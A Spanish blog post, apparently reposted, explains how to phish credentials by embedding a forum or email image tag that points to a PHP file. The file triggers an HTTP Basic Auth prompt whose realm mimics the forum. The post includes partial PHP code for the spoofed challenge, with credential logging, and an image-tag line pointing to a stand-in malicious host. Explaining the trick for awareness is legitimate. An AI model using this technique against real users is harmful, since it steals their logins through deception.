Hoy quiero compartir un método de ingeniería social que
nunca he visto documentado, pero muy creíble y eficaz que se apoya de
la propiedad que tienen muchas aplicaciones (Web o de escritorio) de
realizar peticiones HTTP a servidores remotos. Un buen
ejemplo sería la particularidad que tienen los foros de Internet a
incluir imágenes de servidores externos mediante la etiqueta [IMG] o
.
Estas peticiones envían nuestras cabeceras igual que a cualquier otra
Web y podemos enlazar imágenes o un fichero php corriente, la única
diferencia es que el navegador intentará mostrarlo como una imagen una
vez descargado y quizás no pueda, pero en la parte de servidor se
ejecutará todo igual, por lo que estas consultas pueden diseñarse para realizar cualquier acción que se le permita al navegador y es aquí donde se puede aprovechar la ingeniería social para perpetuar ataques tipo phishing, entre otros.
Un caso típico de phishing es enviar un enlace donde se pide un
usuario y contraseña simulando ser una página legítima, estadísticamente
sigue funcionando, pero a día de hoy no es tan efectivo por que es
fácilmente detectable con solo ver la URL, además la gente está bastante
“educada” de no abrir enlaces desconocidos, así que lo que veremos es
como solicitar las credenciales a un usuario sin que este visite un
sitio Web, simplemente le aparecerá la ventana de login mientras abre un
hilo.
Caso práctico: Robo de credenciales de un foro sin abandonar la Web
Como hemos visto antes, una consulta HTTP que solicita una imagen es exactamente igual
a una consulta que solicita un fichero, una imagen puede tener
extension .php o cualquier otra. Los captcha, por ejemplo al ser una
imagen dinámica tienen extensión .php ya que se autogeneran a si mismos
cada vez que se imprimen ¿pero cómo puede utilizarse esto en un ataque
de phishing? El protocolo HTTP incluye una característica de autentificación
que permite al administrador poner ciertos ficheros o directorios bajo
contraseña, al realizar una petición hacia ellos el usuario verá un
formulario de login, si habéis entrado a un router sabréis de lo que
estoy hablando. Un ejemplo de fichero que solicita contraseña al recibir
una petición HTTP sería este
fichero.php
header( 'HTTP/1.0 401 Unauthorized' ); exit (); ?> |
Básicamente estamos enviando una cabecera que dice al navegador “Oye,
para ver este fichero necesito que me des una contraseña”, en esta
cabecera, además tenemos un campo (realm) en el que podemos escribir lo
que queramos, esto normalmente se hace para describir el servicio o el
por que se necesita una contraseña. Como queremos pasar inadvertidos
nosotros pondremos una URL interna del foro, así el
usuario pensará la solicitud proviene de desde el propio foro, esto es
lo que se vería al intentar abrir el fichero a través del navegador
Si un usuario una contraseña podríamos leerlas mediante
$_SERVER['PHP_AUTH_USER'] y $_SERVER['PHP_AUTH_PW'], por lo que un
fichero que solicitara un usuario y contraseña y una vez introducidos
los guardara en un txt podría ser algo como
fichero.php
if (!isset( $_SERVER [ 'PHP_AUTH_USER' ])) { //Si no se ha introducido ningun usuario header( 'WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"' ); //Muestra la ventana de credenciales header( 'HTTP/1.0 401 Unauthorized' ); exit ; } else { //Si se ha introducido algun usuario lo guarda en documento.txt } ?>
|
Pero claro, si queremos sacar esto a flote no nos valdría con abrir
un hilo con un enlace a dicho fichero ya que la mayoría de gente, al ver
que pulsan un enlace que les lleva fuera del foro pensarían que la
contraseña se refiere a otro sitio o directamente se darían cuenta del
intento de engaño. Nosotros queremos que el formulario de usuario y
contraseña aparezca directamente en el foro, pues nada mas simple como
crear un mensaje que apunte hacia nuestro fichero mediante las etiquetas
de imagen
[img]http://url_maliciosa/imagen.php[/img]
Cuando alguien abra el hilo, al cual obviamente le pondremos un
título sugerente e interesante (o responderemos a uno que creamos que va
a tener éxito) aparecerá una bonita ventana de login la cual aparece dentro del propio foro y haciendo referencia a una foto.
Para el usuario es algo muy transparente, está navegando por el foro y
de golpe el propio foro parece que le pide las credenciales para ver un
fichero adjunto, la URL del navegador sigue siendo legítima, no ha seguido ningún enlace externo, no hay motivo aparente para desconfiar.
Pero esto es ampliable a muchos otros caso, por ejemplo, imagina que mandas un correo con dicha imagen a un email de Gmail, hay dos posibilidades si tiene el filtro de imágenes
activado le pedirá hacer clic en “mostrar imágenes” y una vez lo haga
pedirá login y si está desactivado, al intentar abrir el mensaje pedirá
login, además como Gmail es tal “cool” carga el email en segundo plano
por lo que aparece el formulario incluso antes de abrirlo
En definitiva y por concluir hemos aprendido a que NUNCA hay que introducir nuestras credenciales si no estamos totalmente seguros de lo que estamos haciendo ya que a veces lo que el ojo ve no es lo que hay que creer.
Fuente: http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/
No hay comentarios:
Publicar un comentario